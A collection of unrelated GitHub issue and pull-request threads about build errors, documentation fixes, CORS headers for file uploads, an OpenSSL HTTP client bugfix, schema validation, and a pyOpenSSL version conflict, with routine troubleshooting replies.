[18:23:30.678]       at moduleResolve (internal/modules/esm/resolve.js:776:10)
[18:23:30.678]       at Loader.defaultResolve [as _resolve] (internal/modules/esm/resolve.js:887:11)
[18:23:30.678]       at Loader.resolve (internal/modules/esm/loader.js:89:40)
[18:23:30.679]       at Loader.getModuleJob (internal/modules/esm/loader.js:242:28)
[18:23:30.679]       at Loader.import (internal/modules/esm/loader.js:177:28)
[18:23:30.679]       at importModuleDynamically (internal/modules/esm/translators.js:114:35)
[18:23:30.679]       at exports.importModuleDynamicallyCallback (internal/process/esm_loader.js:30:14)
[18:23:30.679]       at importFresh (file:///vercel/path0/node_modules/@contentlayer/core/src/getConfig/index.ts:162:90) {
[18:23:30.679]     code: 'ERR_MODULE_NOT_FOUND'
[18:23:30.679]   },
[18:23:30.679]   configPath: '/vercel/path0/contentlayer.config.ts',
[18:23:30.679]   _tag: 'ConfigReadError',
[18:23:30.679]   toString: [Function (anonymous)],
[18:23:30.679]   [Symbol()]: {
[18:23:30.679]     error: Error [ERR_MODULE_NOT_FOUND]: Cannot find module '/.contentlayer/.cache/v0.2.4/compiled-contentlayer-config-A4IIJG2P.mjs' imported from<EMAIL_ADDRESS>[18:23:30.680]         at new NodeError (internal/errors.js:322:7)
[18:23:30.680]         at finalizeResolution (internal/modules/esm/resolve.js:318:11)
[18:23:30.680]         at moduleResolve (internal/modules/esm/resolve.js:776:10)
[18:23:30.680]         at Loader.defaultResolve [as _resolve] (internal/modules/esm/resolve.js:887:11)
[18:23:30.680]         at Loader.resolve (internal/modules/esm/loader.js:89:40)
[18:23:30.680]         at Loader.getModuleJob (internal/modules/esm/loader.js:242:28)
[18:23:30.680]         at Loader.import (internal/modules/esm/loader.js:177:28)
[18:23:30.680]         at importModuleDynamically (internal/modules/esm/translators.js:114:35)
[18:23:30.680]         at exports.importModuleDynamicallyCallback (internal/process/esm_loader.js:30:14)
[18:23:30.680]         at importFresh (file:///vercel/path0/node_modules/@contentlayer/core/src/getConfig/index.ts:162:90) {
[18:23:30.681]       code: 'ERR_MODULE_NOT_FOUND'
[18:23:30.681]     },
[18:23:30.681]     configPath: '/vercel/path0/contentlayer.config.ts'
[18:23:30.681]   },
[18:23:30.681]   [Symbol()]: [ 'configPath', 'error' ]
[18:23:30.681] }
[18:23:30.686] No Contentlayer build found.

This looks like the same problem as #178. (If not please leave another comment.)


feat(nsg)!: send logs to Log Analytics

created a diagnostic setting to the sub-module nsg, and the reason for this being marked as a breaking change, is because this required a new variable log_analytics_workspace_id. this fixes #33. And because there was a prior error involving the merging of a public ip, this will also fix #37

This issue might need to be moved once #44 is merged.

NSG submodule was removed in v2.


CONTRIBUTING: Add a CONTRIBUTING file

This is copied from virtcontainers.
Fixes: https://github.com/clearcontainers/proxy/issues/3
Signed-off-by: Damien Lespiau<EMAIL_ADDRESS>

Coverage increased (+0.4%) to 71.053% when pulling f6b6f5a1f99667b6eb039d349d908d482a1ec036 on dlespiau:20170503-contributing into 4f87d2a20dcdde4f80b93568dc5bd76278403521 on clearcontainers:master.

lgtm


Aligned characteristics with headings

Corrected issue with previous update where Impcats and characteristics were not correctly assigned to headings
Please use this template to ensure easier processing of your pull request
Category

[x] Content fix
[ ] New article
[ ] Example checked item (delete this line)

Related issues

fixes #issuenumber
partially #issuenumber
mentioned in #issuenumber

Contents of the Pull Request
Earlier PR I edited contained organisation errors. The paragrpahs of text had not been conveted to bulleted characteristics. This PR resolves that.
Guidance

Docs Build status updates of commit 276c347:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

Community/microsoft365-maturity-model--people-and-communities-competency.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


CORS

I just started using this plugin today and it has been great. Thanks for creating this.
I ran into a problem with CORS when uploading font files. Chrome was not happy about the lack of Access-Control-Allow-Origin header. I noticed in your source code that you were including metadata but commented it out.
      var params = {
        container: container,
        remote: key,
        size: size
        // contentType: contentType,
        // cacheControl: cacheControl,
        // expires: expires
      };

Are you planning on adding this back in and can you add the Rackspace CORS headers?

I've created a feature branch (feature/headers) with some new code to allow for the headers. I haven't created a new npm release as the tests are failing at the moment, but that was already true before the new feature. Let me know if you run into any problems.

By the way, the first hack at this just applies headers to all uploaded files. If you have a need for more fine grain control, I can take a look at getting that added.

I'm going to play around with this tomorrow. I just ported over a newer app to using cli-deploy and if this works I can migrate an older app as well. Thanks for taking a look at this.

Not sure if there are any security implications with setting Access-Control-Allow-Origin for all files – if there aren't then I don't think there's immediate need for more fine-grained control :)

I don't see a need for per file CORS settings, but who knows. What I have discovered is that somewhere along the line the newly enabled headers option clobbers the content-type header. All files are now uploaded as text/plain.
I'm trying to track down the issue now.

I've dug a little deepr and the issue seems to be with a Promise implementation somewhere in this module or pkgcloud. The content-type of the last file to be uploaded is being applied to all files and RS  is not happy about that.

Was the content type fine before the changes I introduced?

Content was working as expected before the change. I've verified this both by switching the branch and commenting out the header info sent to pkgcloud. It looks like the problem is in pkgcloud/openstack/client.js
prior to the auth call on line 180 the content-type header is correct. I wonder if the upload call to pkgcloud needs to be serial instead of parallel.

I probably won't have a chance to jump on this today but obviously pull requests are welcome if you have some time. If you don't, I'll try to dig into tomorrow. Thanks for all of the work up to this point.

I have some time today and tomorrow to work on this. Hopefully I can get it figured out.

How do you feel about switching the Promise library from RSVP to Bluebird. Sending the files to upload in series has seemingly solved the issue nicely.

I don't have any problems with it.

@mrosenberg: I finally got a version published with all of your work. 1.0.0 should be avaiable on NPM. I've added you to the collaborators as well to avoid such a long delay in getting an update published in the future. Thank you again.


Cosmetics

Not sure what the goal was, and that's not the correct way to convert font size into slate units.


Now using Bower package manager.

@hobailey Feel free to update the content of the bower.json file in any way you like.
Fixes #3

Thanks very much :-)


Add redirect

Fixes #731

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

.openpublishing.redirection.json
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


No license

Could you please pick a license for this crate?
(LICENSE.md file in your repo root.)
For example MIT is a good one.

Thank you!


Blog app - creating a data model

Hello Reviewer
This is @shafiuyushawu and this miles stone fulfills the following requirements.

Created a new app. Give it a meaningful name.

Initialized your project with Git.
Made sure that your project has Postgres database set up.
Build below project schema.

Created and run the necessary migration files.
Table and column names should match the ERD diagram.

note: photo for users table should be a link to an image

Foreign keys should be included.

Pay attention that in posts table the column holding the foreign key to the users table should be named author_id

All columns that are foreign keys should have a corresponding index.

@codepantha, thanks for the approval


HTTP(S) client bugfixes

These issues recently came up when preparing my answer at<EMAIL_ADDRESS>where I provided a simple example HTTPS client for retrieving HTML pages.

app_http_tls_cb(): fix crash on inconsistency w.r.t. use of TLS.
This happens if use_ssl is not set but an SSL_CTX is provided.
OSSL_HTTP_open(): improve use of use_ssl and its documentation
OSSL_HTTP_REQ_CTX_nbio(): fix copy&paste glitch calling BIO_should_retry(rctx->rbio)
http_client.c: fix comment and documentation of the memory BIOs used

This pull request is ready to merge

Merged to master and 3.0. Thank you.


Analysis center not mandatory in schema

Hello
I submitted some days ago to ENA an Analysis XML that validated again the XSD schema with no error. However, webin replied that the analysis was incorrect because it was missing center name:
ERROR: In analysis, alias:"XXXX", accession:"ERZ491433".
Missing center name.

The analysis center attribute is optional in SRA.analysis.xsd:
https://github.com/enasequence/schema/blob/master/src/main/resources/uk/ac/ebi/ena/sra/schema/SRA.analysis.xsd#L320
Can "analysis_center" be made mandatory in the XSD file? Or is there any case when that center is not mandatory?
Thanks,
Pablo

It may be that the error is related with the attribute "center_name" and not with "analysis_center". This attribute is also not mandatory in the XSD (it seems to be defined in SRA.common.xsd schema), so there is still an issue:
https://github.com/enasequence/schema/blob/master/src/main/resources/uk/ac/ebi/ena/sra/schema/SRA.common.xsd#L17

Hi Pablo,
The center_name should be optional for non-broker submitters and should be automatically filled by the Webin submission service.
Brokers are required to provide a center name.
Could I first please ask you to confirm the Webin submission account or e-mail address you used when submitting the Analysis XML?
If the account is a non-broker account we should investigate further. In this case, it might help us if you could provide an example of a problematic Analysis XML.
Best,
Rasko

Hi Rasko
I used the EVA account, that I think is a broker one, so that should explain that. I'm closing this ticket then, because there is no bug.
Thanks,
Pablo


How to input float4x4 into shader?

Checklist

[x] I've read the README
[x] I've searched for existing GitHub issues

I read the demo.
I read MTIColorMatrixFilter.
But that is not the way I want.
What I want is just put matrix type into parameters.
How to do it?

Read README.
Using MTIVector if you are using Objective-C. Using float4x4 directly if you are using Swift.
https://github.com/MetalPetal/MetalPetal/blob/master/README.md#shader-function-arguments-encoding

thank you very much

Are you chinese?If that,we can communicate with each other in chinese.


Update fopx setup package name

It doesn't need the version. Only used internally for setup.

LGTM


[BUG] Mask misaligned

Yavuz Acikalin reports the following:

... the slice_msk is misaligned and is not cutting the images on nasion-to-inion for the qi1 metric as it should (it is flipped by 90 degrees). This is true for I think all 29 of the images we fed into the pipeline, but see one example attached...

Just to add some more background, this is the rationale behind this mask (Mortamet et al., 2009):


AttributeError: 'module' object has no attribute 'SSL_ST_INIT'

Brief Description:
Error when starting server (or even getting help message)
Operating System (OS and version): linux, ubuntu, 4.4.0-83-generic
OpenBazaar version: (HEAD detached at v0.2.6)
Hardware:  Intel
Reproducible (Always / Almost Always / Sometimes / Rarely / Couldn't Reproduce):   Always
Steps to reproduce:

Install depends
clone openbazaar-server git repo and check out v0.2.6 tag
Manually apply fix described in issue #521
Run:  python openbazaard.py start --help

Observed Behavior:
Traceback (most recent call last):
File "openbazaard.py", line 12, in
from api.restapi import RestAPI
File "/ob/OpenBazaar-Server/api/restapi.py", line 5, in
import obelisk
File "/usr/local/lib/python2.7/dist-packages/obelisk/init.py", line 3, in
from client import *
File "/usr/local/lib/python2.7/dist-packages/obelisk/client.py", line 3, in
from zmqbase import ClientBase
File "/usr/local/lib/python2.7/dist-packages/obelisk/zmqbase.py", line 11, in
from twisted.internet import defer, reactor
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/reactor.py", line 38, in
from twisted.internet import default
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/default.py", line 56, in
install = _getInstallFunction(platform)
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/default.py", line 44, in _getInstallFunction
from twisted.internet.epollreactor import install
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 24, in
from twisted.internet import posixbase
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 18, in
from twisted.internet import error, udp, tcp
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 29, in
from twisted.internet._newtls import (
File "/usr/local/lib/python2.7/dist-packages/twisted/internet/_newtls.py", line 21, in
from twisted.protocols.tls import TLSMemoryBIOFactory, TLSMemoryBIOProtocol
File "/usr/local/lib/python2.7/dist-packages/twisted/protocols/tls.py", line 41, in
from OpenSSL.SSL import Error, ZeroReturnError, WantReadError
File "/usr/local/lib/python2.7/dist-packages/OpenSSL/init.py", line 8, in
from OpenSSL import rand, crypto, SSL
File "/usr/local/lib/python2.7/dist-packages/OpenSSL/SSL.py", line 124, in
SSL_ST_INIT = _lib.SSL_ST_INIT
AttributeError: 'module' object has no attribute 'SSL_ST_INIT'
Expected Behavior:
the help message
Additional info (links, images, etc go here):
none

Ah, this is fixed by using pyopenssl==16.2.0
(probably needs to be updated in requirements.txt)

find whitch version of pyopenssl you have (maybe in this time 17.3.0)
open requirements.txt in the folder /home/OpenBazaar-server - open folder in termninal
through terminal write sudo gedit requirements.txt and update your pyopenssl==17.3.0 (depend on your current python version)
save and run open bazaar command again / its should to work, atleast worked for me

I saw the AttributeError: 'module' object has no attribute 'SSL_ST_INIT' error too and sudo pip install pyOpenSSL==16.2.0 resolved it for me!